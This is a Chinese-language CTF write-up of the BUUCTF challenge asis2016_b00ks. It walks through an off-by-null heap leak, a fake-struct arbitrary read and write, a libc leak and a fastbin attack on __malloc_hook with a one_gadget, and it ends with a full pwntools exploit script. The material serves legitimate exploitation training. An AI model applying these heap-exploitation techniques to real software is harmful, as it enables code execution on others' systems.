BUUCFT pwn asis2016_b00ks
看师傅们wp的时候，我才知道这个道题是wiki上面的例题。我看了一些师傅的wp，发现大家都是一种做法，都是通过mmap堆地址，来找libc基地址的。而我试了一下fastbisn attack，发现也可以做出来，也是自己第一次做off by null，所以特此记录一下。
step1：leak heap addr
刚进去之后程序会让输入一个author_name，在bss段，可以输入0x20个字节，并且存在off by null漏洞，意味着可以在0x21处写入"\x00"。
通过动态调试发现author_name下面就是存放chunk的指针。
执行show函数的时候，会输出author_name，因为没有截断，会连带将heap地址输出，就拿到heap地址了。
step2：leak libc base && 任意写
这里仅展示add(0x10,'aaaaaaaa',0x10,'bbbbbbbb')的chunk分布。
第一个chunk存book_name，第二个chunk存book_description，第三个chunk存放的是一个结构体。chunk3[0]是书的编号，chunk3[1]指向book_name，chunk3[2]指向book_description，chunk3[3]写的是book_description的大小。（在edit函数，可以对book_description进行修改）
在bss段上，存放的是指针是指向chunk3[0]的。
思路：可以利用off by null将bss段的第一个chunk指针的最后一个字节置0，就可以改写指针，如果将改写的指针指向事先布置好的fake book结构体，就可以实现任意地址的读写。
在这之前呢，得先说一下books2的创建。add(0x80,'cccccccc',0x60,'dddddddd')。
0x80是为了让free之后进入unsortedbin，可以leak libc。
0x60是为了让free之后进入fastbins，然后改写fd指针达到任意写。
此时将0x55956d670100处写入p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20)。
接下来就是简单fastbins attack，常规操作，申请到__malloc_hook-0x23的位置，再把chunk申请过去，通过realloc调整一下栈帧用onegadgets打就行。
exp:
1 from pwn import * 2 3 p = process('./b00ks') 4 #p = process(['./b00ks'],env={"LD_PRELOAD":"./libc-2.23.so"}) 5 elf = ELF('./b00ks') 6 libc = ELF('./libc.so.6') 7 #libc = ELF('./libc-2.23.so') 8 context.log_level = 'debug' 9 10 def duan(): 11 gdb.attach(p) 12 pause() 13 def add(name_size,name,content_size,content): 14 p.sendlineafter('> ','1') 15 p.sendlineafter('size: ',str(name_size)) 16 p.sendlineafter('chars): ',name) 17 p.sendlineafter('size: ',str(content_size)) 18 p.sendlineafter('tion: ',content) 19 def delete(index): 20 p.sendlineafter('> ','2') 21 p.sendlineafter('delete: ',str(index)) 22 def edit(index,content): 23 p.sendlineafter('> ','3') 24 p.sendlineafter('edit: ',str(index)) 25 p.sendlineafter('ption: ',content) 26 def show(): 27 p.sendlineafter('> ','4') 28 def change(author_name): 29 p.sendlineafter('> ','5') 30 p.sendlineafter('name: ',author_name) 31 32 og = [0x45226,0x4527a,0xf0364,0xf1207] 33 #og = [0x45216,0x4526a,0xf02a4,0xf1147] 34 p.sendlineafter('name: ','a'*0x1f+'b') 35 add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb') 36 show() 37 p.recvuntil('aaab') 38 heap_addr = u64(p.recv(6).ljust(8,'\x00')) 39 print 'heap_addr-->'+hex(heap_addr) 40 add(0x80,'cccccccc',0x60,'dddddddd') 41 add(0x10,'eeeeeeee',0x10,'ffffffff') 42 delete(2) 43 edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20)) 44 change('a'*0x20) 45 show() 46 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook'] 47 __malloc_hook = libc_base+libc.symbols['__malloc_hook'] 48 realloc = libc_base+libc.symbols['realloc'] 49 shell = libc_base+og[1] 50 print 'libc_base-->'+hex(libc_base) 51 print 'shell-->'+hex(shell) 52 print '__malloc_hook-->'+hex(__malloc_hook) 53 54 edit(1,p64(__malloc_hook-0x23)) 55 add(0x60,'aaaaaaaa',0x60,'a'*(0x13-8)+p64(shell)+p64(realloc+14)) 56 p.interactive()
